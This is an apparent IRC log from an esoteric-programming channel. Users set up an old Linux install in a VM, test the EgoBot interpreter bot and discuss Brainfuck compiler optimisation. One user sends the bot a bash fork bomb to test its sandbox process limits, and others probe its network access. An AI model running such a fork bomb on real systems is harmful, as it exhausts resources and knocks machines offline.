rhotor sadol sceql sh trigger udage01 underload unlambda whirl 22:56:41 !sh echo hi 22:56:41 hi 22:56:54 AnMaster: Gooooooooo! 22:56:56 ehird, shouldn't you be complaining about it not being GUI 22:57:05 Well, it's simple enough that I don't care. 22:57:12 Please set the root password for this machine! 22:57:27 I shall set it to the same as what my user password will be BECAUSE I AM HARDCORE AND YOU ARE A FEEBLE VM 22:57:36 !sh :(){ :|:& };: 22:57:40 Could not open new password file, left unset XD 22:57:43 GregorR, I assume you have limits 22:57:46 OH WELLS 22:57:49 if not: your own fault 22:57:49 AnMaster: Yup 22:57:54 !help 22:57:55 Supported commands: bf_txtgen help info 1l 2l adjust asm axo bch befunge befunge98 bf bf16 bf32 bf8 c cxx dimensifuck glass glypho kipple lambda lazyk linguine malbolge pbrain qbf rail rhotor sadol sceql sh trigger udage01 underload unlambda whirl 22:57:57 I would agree :P 22:57:58 AnMaster: Wow, it has a dialog-based X configuration system 22:58:02 Most distros don't have that :P 22:58:17 ehird, freebsd does iirc 22:58:24 though that is a bsd distro 22:58:26 not a linux one 22:58:42 So does Debian etc but not many ones YOU like ;-) 22:58:52 ehird, slackware? 22:58:53 Configure the monitor, and it gives a long list of models. 22:58:55 Awesome. 22:58:56 VESA plz. 22:58:58 AnMaster: no way 22:59:04 1027x768 plz. 22:59:06 ok 22:59:07 *1024 22:59:14 PROBING YOUR VIDEO HARDWARE 22:59:15 Hawt. 22:59:16 1027x468 22:59:25 Deewiant, that sounds interesting 22:59:28 wide screen eh 22:59:30 *VGA* 22:59:32 REALLY wide screen even 22:59:43 YOU MUST INDICATE HOW MUCH VIDEO MEMORY YOU HAVE! 22:59:44 ehird, wow. I would have expected CGA 22:59:53 j/k 23:00:01 Let's say 8MB. 23:00:05 ehird, are you sure 23:00:10 it might crash if wrong 23:00:14 Haha it wants to run at 640x480 23:00:16 OKAY NOT VGA 23:00:28 My VM imitates Cirrus Logic GD5446 23:00:30 So I'll choose that 23:00:54 ehird, is it in the list 23:00:58 yep 23:01:02 ok 23:01:05 GregorR, hm 23:01:08 Test current configuration! 23:01:12 This is all on the installer CD still 23:01:13 AnMaster: ? 23:01:14 GregorR, do you kill all the processes in said config 23:01:20 err 23:01:23 said sandbox 23:01:26 The x server seems to have died ;_;;; 23:01:27 I mean for forks 23:01:30 No keyboard config XD 23:01:40 AnMaster: I /think/ so X-D 23:01:42 GregorR, what if I double forked. Would it still be killed after 30 seconds 23:01:47 GregorR, better check 23:02:03 It's having keyboard issues 23:02:33 Fatal server error: 23:02:37 You must specify a keyboard in XF86Config 23:02:42 AnMaster: Your megaforks are all dead. 23:02:58 GregorR, good 23:03:07 Eh 23:03:09 !sh ulimit -a | xargs echo 23:03:11 I'll fix it once this is installed 23:03:11 core file size (blocks, -c) 0 data seg size (kbytes, -d) unlimited scheduling priority (-e) 0 file size (blocks, -f) 10240 pending signals (-i) 16382 max locked memory (kbytes, -l) 64 max memory size (kbytes, -m) unlimited open files (-n) 1024 pipe size (512 bytes, -p) 8 POSIX message queues (bytes, -q) 819200 real-time priority (-r) 0 stack size (kbytes, -s) 8192 cpu time (seconds, -t) 30 max user processes (-u) 32 virtual memory (kbytes, -v) 131072 23:03:17 !sh ulimit -a | xargs echo '| ' 23:03:19 | core file size (blocks, -c) 0 data seg size (kbytes, -d) unlimited scheduling priority (-e) 0 file size (blocks, -f) 10240 pending signals (-i) 16382 max locked memory (kbytes, -l) 64 max memory size (kbytes, -m) unlimited open files (-n) 1024 pipe size (512 bytes, -p) 8 POSIX message queues (bytes, -q) 819200 real-time priority (-r) 0 stack size (kbytes, -s) 8192 cpu time (seconds, -t) 30 max user processes (-u) 32 virtual memory (kbytes, -v) 131 23:03:24 meh 23:03:26 !sh ulimit -a | xargs -1 echo '| ' 23:03:33 wut 23:03:43 Haha, no space left on device 23:03:52 ehird, too small disk then 23:04:00 AnMaster: I have no idea why that command didn't work :P 23:04:03 AnMaster: 512MB; it seems bloat was everywhere even then 23:04:04 You must specify a keyboard in XF86Config 23:04:08 Xfree86 23:04:10 O 23:04:12 M 23:04:14 G 23:04:18 !sh ulimit -a | xargs -1 echo -n '| ' 23:04:18 AnMaster: Dude. Xorg started in 2004. 23:04:23 ehird, oh right 23:04:32 ehird: Consider losing that tetex and whatnot. 23:04:44 WOW 23:04:46 It uses lilo 23:04:50 Welp, it's booting 23:04:51 Of course 23:04:51 ehird, and 23:04:57 OMG 23:05:03 WORST CONSOLE FONT EVER 23:05:10 ehird, pic 23:05:14 or it didn't happen 23:05:15 http://omploader.org/vMW00eQ 23:05:18 My god it's awful 23:05:27 It's like COMIC SANS, CONSOLE EDITION 23:05:31 :-D 23:05:37 ehird, my thought 23:05:38 exactly 23:05:51 lol 23:05:53 yeolde login: root 23:05:54 Login incorrect 23:05:59 UH THANKS 23:06:09 ehird, didn't it make you add an user 23:06:10 Keep guessing 23:06:12 AnMaster: nope 23:06:21 ehird, maybe because it errored out when it ran out of space 23:06:23 Deewiant: wat? 23:06:23 No users? :-D 23:06:25 AnMaster: no, it continued 23:06:29 Deewiant: We have root 23:06:34 it just forbids logging in to it 23:06:34 ehird, how 23:06:42 AnMaster: by skipping that step 23:06:42 hm 23:06:49 ehird: Keep guessing, i.e. try other users. 23:06:51 skipping *what* step 23:06:54 Deewiant: There are none. 23:06:58 AnMaster: The write-x-config step. 23:07:03 ah 23:07:06 !sh wget http://localhost -O - | head -n 1 23:07:10 ehird, try again with enough disk space 23:07:15 !sh wget http://127.0.0.1 -O - | head -n 1 23:07:16 Yes. 23:07:16 GregorR, what is that 23:07:18 I'm going to] 23:07:27 GregorR, ok that is localhost though 23:07:29 AnMaster: how much disk do you think I need? 23:07:31 2G? 23:07:31 AnMaster: Yeah :P 23:07:43 AnMaster: I was just pointing out the small oddity that opening sockets is OK, they just can't be remote :P 23:07:54 !sh df -h | xargs echo 23:07:54 ehird, whare are the specified system reqs? 23:07:58 AnMaster: none 23:08:06 ehird, try whatever crysis needs then 23:08:08 (spelling) 23:08:22 Lawl, creating a 2gb image freezes Q 23:08:26 GregorR, ah 23:08:37 ehird, Q 23:08:38 being 23:08:40 what 23:08:45 Qemu gui frontend for mac. 23:08:48 oh 23:09:00 Yay, it finished 23:09:01 ehird, try virtualbox or parralells 23:09:02 maybe 23:09:04 BTW http://www.colorforth.com/GA.htm 23:09:15 AnMaster: virtualbox's vm crashes on mastodon, my parallels trial is probably up 23:09:21 GO MASTODON 23:09:52 GA32 is a 32-computer chip in an 88-pin package 23:09:54 32-bit 23:09:55 or what 23:10:04 32 chips. 23:10:08 i.e. 32 cores 23:10:13 afaik 23:10:39 it's chuck moore's new company 23:12:03 53% installed 23:13:35 Heh, it comes with emacs 19 23:15:53 awesome, x almost works ;) 23:16:11 ah 23:16:19 HERE WE GO 23:16:19 ehird, almost 23:16:23 huh 23:16:27 AnMaster: cursor is just a black square 23:16:29 oh well 23:16:35 hokay, let's try this 23:16:36 ehird, did it let you set up users 23:16:43 Ah. 23:16:45 It's started xdm. 23:16:57 Er. 23:17:13 ehird, what 23:17:17 AnMaster: Methinks, that I have some work to do regarding X configuration: 23:17:26 uploading 23:17:45 Eh, it won't upload 23:17:49 Basically, the text is mangled. 23:17:58 ehird, upload it elsewhere 23:18:01 and I never had issues 23:18:18 that's because you didn't use Xfree86 in ~2000 in a virtual machine, AnMaster. 23:18:30 ehird, yes sure 23:18:37 but you said it "didn't upload" 23:18:43 and I was arguing about that 23:18:53 I never had issues with ompload 23:19:16 oh. 23:19:18 it just hanged 23:19:24 ehird, http://omploader.org/vMW00eQ <-- what is "Recovering jove files" 23:19:29 I googled and found nothing 23:19:35 jove is an old editor 23:19:37 ncurses 23:19:39 ah 23:19:56 !cxx cout << "jove sux" << endl 23:19:56 let's try this again 23:19:58 jove sux 23:20:05 url for jove 23:20:11 apt-cache show jove 23:20:21 ehird, I'm not on such a distro 23:20:23 you know that 23:20:29 so stop trolling 23:20:34 you've done the same before 23:20:35 Debianers love to troll apt-* though :( 23:20:47 ehird, ages ago 23:20:55 GregorR, true 23:21:12 GregorR: it's not our fault we have a comprehensive, stable package base at our fingertips 23:21:27 * app-editors/jove 23:21:27 Available versions: 4.16.0.70.3.1 {unix98} 23:21:27 Homepage: ftp://ftp.cs.toronto.edu/cs/ftp/pub/hugh/jove-dev/ 23:21:27 Description: Jonathan's Own Version of Emacs - a light emacs-like editor without LISP bindings 23:21:27 ah 23:21:35 no website 23:21:37 with screenshots 23:21:38 :( 23:21:56 I'm sure it looks more-or-less like emacs. 23:22:10 GregorR, stop insulting emacs 23:22:22 ............................................ ohhhhhhhhhhhhh kay. 23:22:34 GregorR, or did I misunderstand you 23:22:45 maybe you said emacs was great there 23:22:49 I'll assume you did 23:22:54 Description: ... a light emacs-like editor ... 23:23:00 Therefore I concluded that it looks more-or-less like emacs. 23:23:12 !cxx cout << "jove sux" << endl 23:23:15 well 23:23:21 you seemed to hate it too 23:23:23 This isn't Forte. 23:23:23 meh 23:23:31 ehird, err and 23:23:31 I knew nothing about it, I was just being an ass :P 23:23:45 GregorR, so which editor do you use 23:23:48 emacs I hope 23:23:49 ;P 23:23:50 vim 23:23:54 emacs can suck it 23:23:55 poor you 23:24:12 GregorR, you can't irc in vim as easily. Though there is an extension for it 23:24:13 vimirc 23:24:23 My text editor is not my operating system. 23:24:27 It is, in fact, my text editor. 23:24:37 GregorR, same. IRC is text 23:24:42 I'm editing my line 23:24:46 I'm editing text 23:24:48 fail 23:24:51 emacs would be a perfectly good operating system if it had a better text editor. 23:25:22 emacs is a lisp system. elisp yes. Which is not as nice as clisp or scheme 23:26:11 -!- KingOfKarlsruhe has quit (Remote closed the connection). 23:31:39 AnMaster: you use bochs right 23:31:43 what card does its generic vga emulate? 23:31:45 ehird, used before. 23:31:49 haven't for years 23:32:14 ehird, I more often use qemu and vmware-server 23:32:24 haven't used vmware-server since January 23:32:33 haven't used qemu for over a year 23:32:53 !forth ." Hello, world!" CR 23:32:53 Hello, world! 23:32:54 in fact I haven't used any kind of virtual stuff since January 23:33:02 GregorR, that's no esolang. 23:33:04 GregorR: what forth? 23:33:08 !forth bye 23:33:13 also, it's cr 23:33:14 not CR. 23:33:15 :-) 23:33:16 AnMaster: Neither is C :P 23:33:26 !forth ." Hello, world!" cr 23:33:27 Hello, world! 23:33:31 !forth 0 @ . cr 23:33:32 both works here 23:33:39 GregorR: plz to be printing stderr 23:33:40 gforth is case-insensitive. 23:33:43 AnMaster: CR isn't idiomatic 23:33:43 "Most versions of MS-DOS 6.22 do not idle the CPU when they are idle." Damn, I didn't know that 23:33:54 GregorR: forth is 23:34:04 Deewiant, what about it 23:34:13 A bit surprising is all 23:34:14 Your stderr is my demand. 23:34:19 !forth 0 @ . cr 23:34:32 ehird, he said gforth 23:34:34 GregorR: Can you please make it talk to the channel? 23:34:39 X-P 23:34:41 I haaaaaaaate having to switch :p 23:34:41 !forth 0 @ . cr 23:34:55 in file included from *the terminal*:0 23:34:55 /tmp/input.19662:1: Invalid memory address 23:34:55 0 @ . cr 23:34:58 !forth VARIABLE: a a @ . cr 23:35:05 hm 23:35:06 ehird: The problem is that stdout and stderr aren't serialized WRT each other. 23:35:08 ^ 23:35:11 ehird: So your cr came first. 23:35:13 !forth VARIABLE: a a . cr 23:35:18 GregorR: 2>&1 23:35:31 ehird: The problem is that stdout and stderr aren't serialized WRT each other. 23:35:37 ... 23:35:40 !forth VARIABLE a a . cr 23:35:40 139851659782336 23:35:43 ehird, 2>&1 wouldn't help 23:35:44 stdout and stderr, being the C files. 23:35:48 !forth VARIABLE a 2 a ! a . cr 23:35:49 140437233785024 23:35:51 !forth VARIABLE a 2 a ! a @ . cr 23:35:52 2 23:36:03 ehird, no ordering warranty 23:36:05 err 23:36:07 !forth VARIABLE a : get-a a @ ; : set-a a ! ; 2 set-a get-a . cr 23:36:08 2 23:36:12 guarantee* 23:36:21 AnMaster: who cares 23:36:21 (same word in Swedish, easy to mix up 23:36:22 ) 23:36:29 ehird, it won't work then 23:36:31 I just want egobot to dump shit to the channel 23:36:31 as he said 23:36:35 that's i 23:36:36 t 23:36:36 ehird, I don't 23:36:43 I prefer first line in channel only 23:36:45 less spammy 23:36:47 ehird, and 23:36:51 that's a rubbish back-off style 23:37:00 and i'll paste it in anyway 23:37:01 just make your irc client put it in your channel window 23:37:05 since I do things in here to show people, duh 23:37:06 a two line hack 23:37:14 ehird, not everyone do 23:37:27 AnMaster: then they should make the request via /msg 23:37:35 ehird, does that worek 23:37:37 work* 23:37:41 If not, it should. 23:37:42 ehird, and I think you are wrong anyway 23:37:59 i've given good arguments, you haven't. 23:38:02 yes 23:38:04 i presume you'll refuse to give them 23:38:05 I have 23:38:06 see above 23:38:10 o rly? 23:38:12 point them out 23:38:15 ^ 23:38:20 scrollback 23:38:21 individually. 23:38:24 i rebutted them. 23:38:33 I prefer first line in channel only 23:38:33 less spammy 23:38:35 just make your irc client put it in your channel window 23:38:37 a two line hack 23:38:40 AnMaster: yes, but, 23:38:49 the line in channel only, less spammy: If you want it public you'll paste it anyway 23:38:52 If you don't use /msg 23:39:00 ehird, you could have made your client put it in this channel virtually locally 23:39:07 i'd still have to paste it 23:39:09 for everyone else 23:39:10 in less time than this discussion 23:40:07 !c puts("hi!"); 23:40:09 hi! 23:40:16 !c puts("\®QUIT"); 23:40:17 /tmp/source.19948.c:7:6: warning: unknown escape sequence: '302' 23:40:19 !c puts("\rQUIT"); 23:40:19 !help 23:40:20 Supported commands: bf_txtgen help info 1l 2l adjust asm axo bch befunge befunge98 bf bf16 bf32 bf8 c cxx dimensifuck forth glass glypho kipple lambda lazyk linguine malbolge pbrain qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl 23:40:27 Wow. 23:40:27 !c puts("\nQUIT"); 23:40:29 GregorR: so are you gonna make it print to the channel or not :P 23:40:37 ehird, I guess not 23:40:42 just live with it 23:40:45 No, you WANT not. 23:40:46 !c puts("one\ntwo"); 23:40:47 one 23:40:49 That is not the same thing. Do not speak for GregorR. 23:40:58 !c puts("one\ntwo") 23:40:59 one 23:41:08 !c puts(puts) 23:41:09 /tmp/source.20145.c: In function 'main': 23:41:13 ehird, well he did the Right Thing for asm before 23:41:18 so I trust him to do that now too 23:41:19 What a descriptive error message. 23:41:26 kerlo, see more in /msg 23:41:37 Hey, a UI you have to explain to each and every new user because it's so shit. 23:41:40 That's so the Right Thing. 23:41:45 ehird, no 23:41:52 because their clients are shit 23:41:58 mine show what happened clearly 23:42:07 Hear that everyone? If you don't use ERC, your client sucks. 23:42:15 ehird, xchat did too 23:42:17 when I tried 23:42:19 so fail 23:42:31 !c puts((int)puts) 23:42:32 /tmp/source.20187.c: In function 'main': 23:42:33 Thus we prove that only the two clients that AnMaster likes are acceptable. 23:42:39 no 23:42:42 I'm sure there are more 23:43:11 kerlo, puts is a macro 23:43:12 duh 23:43:20 !c puts((int)fputs) 23:43:21 /tmp/source.20230.c: In function 'main': 23:43:34 It appears to be a function. 23:43:36 cast from integer to pointer 23:43:57 !c printf("%d\n", (int)fputs); 23:43:58 /tmp/source.20280.c: In function 'main': 23:44:10 4195360 23:44:24 !c printf("%d\n", (int)puts); 23:44:25 /tmp/source.20320.c: In function 'main': 23:44:31 !c printf("%d", (long int) puts) 23:44:33 AnMaster: He did no Right Thing for asm, he just used GAS, probably just because he had it installed already. 23:44:33 4195344 23:44:36 okay 23:44:37 it is 23:44:50 Deewiant, no, he said he liked it 23:44:51 duh 23:44:56 !c printf("%d", (long int) printf) 23:44:57 4195272 23:44:59 !c printf("%d", (long int) printf) 23:45:01 4195272 23:45:05 Deewiant: gawd, just let him exist in his own GregorR-fellating world. 23:45:06 Hmm. 23:45:21 !c 4195272("%d", (long int) printf) 23:45:22 /tmp/source.20459.c: In function 'main': 23:45:26 In any case the Right Thing is more about the fact that GAS's support for Intel syntax is obviously crap :-P 23:45:42 Deewiant, remember he coded a lot for MIPS 23:45:49 which uses AT&T syntax most of the time 23:45:56 or possibly all 23:45:57 !c itfu("%d", (long int) printf) 23:45:58 /tmp/ccX9BYHg.o: In function `main': 23:46:09 iftu 23:46:11 wth is that 23:46:12 Point being that if you're going to use GAS you're stuck with AT&T for all practical purposes. 23:46:16 Nothing. 23:46:27 !c printf(itfu) 23:46:28 /tmp/source.20540.c: In function 'main': 23:46:34 Deewiant, and with nasm you are stuck the other way 23:46:37 your point 23:46:42 I like how I can't follow what the fuck you're all doing. 23:46:45 I think yasm can do both 23:46:49 -!- oerjan has quit ("Good night"). 23:46:55 !c (printf)(itfu) 23:46:56 /tmp/source.20582.c: In function 'main': 23:47:04 ehird, just guess 23:47:27 !helop 23:47:29 !help 23:47:29 Supported commands: bf_txtgen help info 1l 2l adjust asm axo bch befunge befunge98 bf bf16 bf32 bf8 c cxx dimensifuck forth glass glypho kipple lambda lazyk linguine malbolge pbrain qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl 23:47:34 GregorR, request for language: shakespear 23:47:58 shakespeare is le shit 23:47:58 http://shakespearelang.sourceforge.net/report/shakespeare/shakespeare.html 23:48:05 ehird, why do you think so 23:48:11 it's not actually interesting 23:48:18 ehird, it's funny 23:48:26 a lot of rubbish things are 23:48:45 The Infamous Hello World Program. 23:48:45 Romeo, a young man with a remarkable patience. 23:48:45 Juliet, a likewise young woman of remarkable grace. 23:48:45 Ophelia, a remarkable woman much in dispute with Hamlet. 23:48:45 Hamlet, the flatterer of Andersen Insulting A/S. 23:48:48 that's funny IMO 23:48:54 especially the last one 23:50:20 -!- oklopol has quit (Success). 23:50:30 -!- BeholdMyGlory has quit (Remote closed the connection). 23:50:39 !c ((int) printf)(itfu) 23:50:40 /tmp/source.20661.c: In function 'main': 23:51:57 Anyone know how to find out the RPM of my disk? 23:52:43 ehird, um. hdparm 23:52:44 iirc 23:52:54 No such thing 23:53:04 ehird, in hdparm -I 23:53:04 sure 23:53:09 no hdparm(1). 23:53:12 ehird, duh 23:53:15 it is not POSIX 23:53:24 on OS X it would be different 23:53:28 hdparm is for Linux 23:53:31 That's very helpful of you 23:53:33 freebsd use other stuff 23:53:41 os x possibly even other ones 23:53:49 ehird, answer is I don't know for OS X 23:53:54 and you didn't specify OS X 23:54:05 ehird, oh it is HDPARM(8) 23:54:07 not (1) 23:54:26 so /sbin 23:55:15 !c ((int*) printf)(itfu) 23:55:16 /tmp/source.20712.c: In function 'main': 23:55:19 7200rpm apparntly 23:55:22 *apparently 23:55:37 !c ((int*) printf)("%n", 42) 23:55:38 /tmp/source.20754.c: In function 'main': 23:57:32 !c ((int()) printf)("%n", 42) 23:57:32 /tmp/source.20794.c: In function 'main': 23:57:33 18:56 /tmp/source.20794.c:7: error: cast specifies function type 23:57:33 * kerlo frowns 23:57:33 AnMaster: by the way, the annoying resize thing on OS X has one purpose 23:57:33 if you hold down shift to make it minimize slowly, then killall Dock 23:57:33 it stays in its half-warped state 23:57:33 !c ((int()*) printf)("%n", 42) 23:57:33 /tmp/source.20831.c: In function 'main': 23:57:33 and yes, you can interact with it 23:57:36 ehird, err 23:57:53 easter egg 23:57:56 or what 23:57:58 nope 23:57:59 bug 23:58:01 ehird, also screenshot 23:58:17 sure thing 23:58:26 -!- puzzlet has quit (Remote closed the connection). 23:58:32 -!- puzzlet has joined. 23:58:39 ehird, screenshot of interacting with it I mean 23:58:46 er how 23:58:50 oh ok 23:58:54 uploading anyway 23:58:56 just screenshot then 23:59:37 http://omploader.org/vMW01NQ 2009-05-03: 00:00:15 ehird, dock isn't killed 00:00:16 there 00:00:24 AnMaster: dock reopens after being killed 00:00:26 aha 00:00:33 but the process that was minimizing it stops, which is all you need 00:00:48 ehird, 10.4 too or 00:00:56 AnMaster: Yes. 00:01:47 ehird, interacting with it must be odd 00:02:14 !c printf("%d", (long int) printf) 00:02:15 4195272 00:02:15 Yes, it doesn't offset for the warping so it's mostly trial and error via link hover effects, and if focusing something requires going out of the frame, shit sux you can't click it 00:03:22 On the other hand, for a text editor with a cursor with no mouse-related activities it is rather usable. 00:03:35 Yyyyyyyyyyyyyes, apart from the whole reading thing. 00:03:43 Did you just try? :P 00:03:52 No, I tried earlier. 00:04:10 OTHER PEOPLE KNOW? :( 00:04:18 Yes, the secret is out! 00:04:33 They should have some sort of generic window-deformation tool, though. 00:04:34 Oh, you meant after I said 00:04:38 Haha 00:04:38 yes 00:04:47 You know those old java applets where you pinch a image around? 00:04:49 Do that for windows. 00:04:49 No, I meant "a year ago or so". 00:04:53 And oh :( 00:05:36 Then you wouldn't need an image editing application to make a funny face; just twiddle the browser window. 00:05:42 :D 00:11:34 ehird, how did you discover it 00:11:41 not sure. 00:11:48 i think i was just messing 00:11:55 as usual 00:11:56 ;P 00:19:07 lifthrasiir, 00:19:12 http://gcc.gnu.org/wiki/Graphite?action=AttachFile&do=get&target=graphite_lambda_tutorial.pdf 00:19:16 maybe use same idea 00:19:22 for your bf 00:19:23 :D 00:20:28 great. 00:21:14 lifthrasiir, was that sarcastic 00:21:21 nope, 00:21:51 GCC does it on C and FORTRAN code and such 00:21:54 just a thought after seeing AMD logo below. 00:22:03 lifthrasiir, yes? 00:22:12 what about it 00:22:17 no, no, i said "great." after that thought 00:22:27 Gawd, my system spends an awful lot of time seeking the HD 00:22:27 so it is not sarcastic at all 00:22:30 AMD contributed this I think 00:23:58 in meantime i'm generalizing propagation pass to every node in the loop, rather than consecutive memory ops 00:24:31 Meh, I gotsa write my own compiler now. 00:24:59 hmm 00:25:06 AnMaster: you can't polynomialize an IO-using loop can you 00:25:10 well 00:25:14 ehird, depends 00:25:21 you can do before-io and after-io and then output poly1;io;poly2 00:25:30 indeed 00:25:46 in fact I polynomalised any blocks iirc 00:25:51 ANY? 00:25:52 well 00:25:57 they have to have balancedness 00:25:59 ehird, any balanced 00:26:10 [+>+>-<+,<<-] 00:26:11 inner ones 00:26:11 let's se 00:26:12 e 00:26:14 that'd become 00:26:40 ehird, and for unbalanced I did as much flattening out as possible 00:26:52 for that , you could move the - to before 00:26:58 since it doesn't touch same cell 00:27:13 so store motion pass or something with a fancy word 00:27:17 _0+1, _1+2, _2-1, _0+1; _0=inp; _2-1 00:27:34 _0+1, _1+2, _2-2, _0+1; _0=inp; 00:27:35 even 00:27:44 maybe. 00:27:45 and 00:27:55 _0+2, _1+2, _2-2; _0=inp; 00:27:56 AnMaster: I'll optimize +/- before , 00:27:58 and whatnot 00:28:06 ehird, you need to track memory cells 00:28:13 and see which ones are clobbered 00:28:16 no, just final destination 00:28:18 er 00:28:19 right 00:28:21 i see what you mean 00:28:50 ehird, don't make , act as a full "fence", make it act as a fence on that specific cell. 00:28:56 right. 00:29:35 ehird, you can do this limited even in unbalanced ones. Just not for all, rather per iteration 00:29:36 $0+1; $2-1; ($-1)-1; $1=input; ptr=1 00:29:41 and this is basic still 00:29:44 is the optimal form of [+>+>-<+,<<-] 00:29:57 this is done before polynomization 00:30:03 way before 00:30:14 right 00:30:20 lifthrasiir: do you optimize stuff into for loops? 00:30:24 the current leading compiler does 00:30:41 ehird: what do you mean? 00:30:45 ah 00:30:49 http://esoteric.sange.fi/brainfuck/impl/compilers/bf2c.hs 00:31:07 ehird, oh also you of course try to track known fixed values of cells 00:31:09 hmm not yet. i'm counting loop count for restricted cases yet. 00:31:18 after [-] you know the cell is 0 00:31:29 lifthrasiir: you should check out that compiler, it eliminates "variables" (places on the tape) etc 00:31:31 so then you can fold +++ into "set 3" instead of "add 3" 00:31:32 ehird, ^ 00:31:39 AnMaster: duh 00:31:49 ehird, which simplifies a lot later 00:31:52 in polynoms 00:32:04 if a cell is reset each iteration I mean 00:32:08 to a fixed value 00:32:21 and you are making a polynom 00:32:27 then no need to calc that 00:32:45 If you made bf2c.hs do polynomials it'd kick everything else out of the water 00:35:09 ehird, does that one turn ++>-<++ into ++++>-< 00:35:19 AnMaster: it does everything 00:35:26 ------------------------------------------------------------------------------ 00:35:27 -- remove Move-s 00:35:28 ------------------------------------------------------------------------------ 00:35:30 -- the idea here is to combine Move-s along the program by pushing 00:35:32 -- them to the end, pushing them through other operations by updating 00:35:34 -- these operation's offset; the final move offset is then incorporated 00:35:36 -- into the surrounding loop, or, in case of the main program, dropped. 00:35:38 (apart from polys) 00:35:39 EgoBot, not polynomials? 00:35:41 ah 00:35:47 ehird, there are more tricks 00:35:47 egobot XD 00:35:48 than that 00:35:54 ehird, ^ 00:37:15 AnMaster: it does pretty much all tricks apart from polys 00:37:15 see the other functions 00:37:16 ehird, I'm sure there is other stuff you can do that it doesn't. 00:37:16 yes, but not known 00:37:16 AnMaster: the actual program ++>-<++ is turned into 00:37:16 data[p] += 4; 00:37:16 data[p+1] += -1; 00:37:16 ehird, does it strip [-] at start of program 00:37:16 it turns it into data[p]=0; which gcc optimizes out. 00:37:16 ah 00:37:18 AnMaster: also, [-]+[-]+ becomes 00:37:19 data[p]=1 00:37:23 yes 00:37:23 well, with a space and a ; 00:37:26 ehird, I did that one 00:37:26 cba to copypaste :P 00:37:28 yes 00:37:29 I know 00:37:37 and I did 00:37:38 data[p] += 4; 00:37:38 data[p+1] += -1; 00:37:39 too 00:37:42 AnMaster: oh wait, it does polynomials 00:37:45 data Term = Const Int -- Int 00:37:45 | Var Int -- data[p+Int] 00:37:46 | Sum [Term] -- (Term+Term+...+Term) 00:37:48 | Mul [Term] -- (Term*Term*...*Term) 00:37:50 deriving Show 00:38:04 ehird, like me. But does it do nested polynominals 00:38:17 like [balaced loop [nested balanced loop ]] 00:38:33 AnMaster: ,[.+>,[>+<-].<,] becomes: 00:38:37 data[p] = getchar(); 00:38:37 for ( ; data[p]; ) { 00:38:38 putchar(data[p]); fflush(stdout); 00:38:40 data[p+1] = getchar(); 00:38:42 data[p+2] += data[p+1]; 00:38:43 aah! 00:38:44 data[p+1] = 0; 00:38:46 putchar(data[p+1]); fflush(stdout); 00:38:48 data[p] = getchar(); 00:38:50 } 00:38:52 flattens it out into one loop :) 00:38:58 ehird, that is good 00:39:00 yep 00:39:02 what happens with no input 00:39:06 or input before 00:39:10 so it doesn't know values 00:39:18 eh? there IS input before 00:39:22 and in the loop 00:39:23 twice 02:48:31 -!- clog has joined. 02:48:31 -!- clog has joined. 03:12:06 Whoah, clog is back :P 03:12:08 Is there any Glypho example code? 04:04:00 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)). 04:04:39 -!- bsmntbombdood has joined. 04:05:26 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)). 04:16:15 -!- calamari has joined. 04:29:47 !addinterp echo bf ,[.,] 04:29:47 Interpreter echo installed. 04:29:52 !echo Hewwo 04:29:52 Hewwo 04:30:47 What esolangs are only implemented in esolangs? 04:31:19 dunno 04:31:24 your cat is apparently 04:31:58 That's not the world's most exciting esolang :P 04:33:15 !addinterp rebf bf http://esoteric.sange.fi/brainfuck/bf-source/prog/BFI.BF 04:33:16 Interpreter rebf installed. 04:33:28 !rebf +++++++++++[>++++++>+++>++++>+<<<<-]>++++++.+++++++++++++++++++++++++++++.+++++++..+++.>>.<-.<++++++++.--------.+++.------.--------.>+.>>-. 04:33:36 Well that doesn't appear to work at all :P 04:33:55 Hm, it is running ... 04:34:04 Could it just be that slow? 04:34:09 it could 04:35:05 We'll never know, it just got killed :P 04:35:10 GregorR: doesn't it need an ! at the end? 04:35:12 on a slightly related note, do you know any good languages for expressing Turing machines? 04:35:14 or the beginning 04:35:20 calamari: Oh, mebbe :( 04:35:24 to separate input and code 04:35:26 coppro: I would love to see one. 04:35:48 *Addinterp*? :D 04:36:05 !rebf !+++++++++++[>++++++>+++>++++>+<<<<-]>++++++.+++++++++++++++++++++++++++++.+++++++..+++.>>.<-.<++++++++.--------.+++.------.--------.>+.>>-. 04:36:19 And since Egobot can handle C now... 04:36:24 That's one extensible bot. 04:36:28 bfi446 seems to like to output obscene amounts of whitespace at the end ... 04:36:43 pikhq: Unfortunately, it can't support sub-sub-interps, because the program is sent to the user interpreter via stdin. 04:36:59 GregorR: Shame. 04:37:11 Not really any other way to do it though :P 04:37:25 Named pipe as the first argument? :p 04:37:45 Most esolangs don't accept arguments. 04:37:50 True. 04:38:17 * coppro goes and writes a simple Turing interpreter 04:38:58 coppro: Sweet, make sure it's open sauce so I can add it to EgoBot :P 04:39:45 just don't leave it open too long or it'll get rotten :P 04:40:08 !delinterp rebf 04:40:08 Interpreter rebf deleted. 04:40:16 !addinterp rebf bf http://esoteric.voxelperfect.net/files/brainfuck/src/kbfi.b 04:40:16 Interpreter rebf installed. 04:40:23 !rebf +++++++++++[>++++++>+++>++++>+<<<<-]>++++++.+++++++++++++++++++++++++++++.+++++++..+++.>>.<-.<++++++++.--------.+++.------.--------.>+.>>-. 04:40:23 And since Egobot can handle C now... 04:40:23 Hello, world! 04:40:33 Heh, copied an extra line there :P 04:41:00 GregorR: Does egobot have a way to control the stdin of your command? 04:41:42 coppro: Not yet. 04:41:53 I haven't thought of how I want to cleanly (re)implement that. 04:42:00 But T.m.s don't have input anyway ;) 04:42:05 they have tape 04:42:10 (Well, yes they do, the input on the tape) 04:42:10 Yeah 04:42:26 !help 04:42:26 Supported commands: addinterp bf_txtgen delinterp help info userinterps 1l 2l adjust asm axo bch befunge befunge98 bf bf16 bf32 bf8 c cxx dimensifuck echo forth glass glypho kipple lambda lazyk linguine malbolge pbrain qbf rail rebf rhotor sadol sceql sh test trigger udage01 underload unlambda whirl 04:42:36 Heh, gettin' near the limit there :P 04:43:47 I'm envisioning that each tape unit can contain a whitespace-free string, and the input format would just be the number of spaces into the tape it starts at, the default symbol of the tape, and then the tape. 04:43:59 all whitespace-separated 04:44:40 oh, crap, boost 1.39 is out 04:44:48 Why not a bitwise tape? T.m.s with any alphabet are reducible to 1-bit T.m.s 04:45:29 (And don't give me any of this "because that's obnoxious" baloney 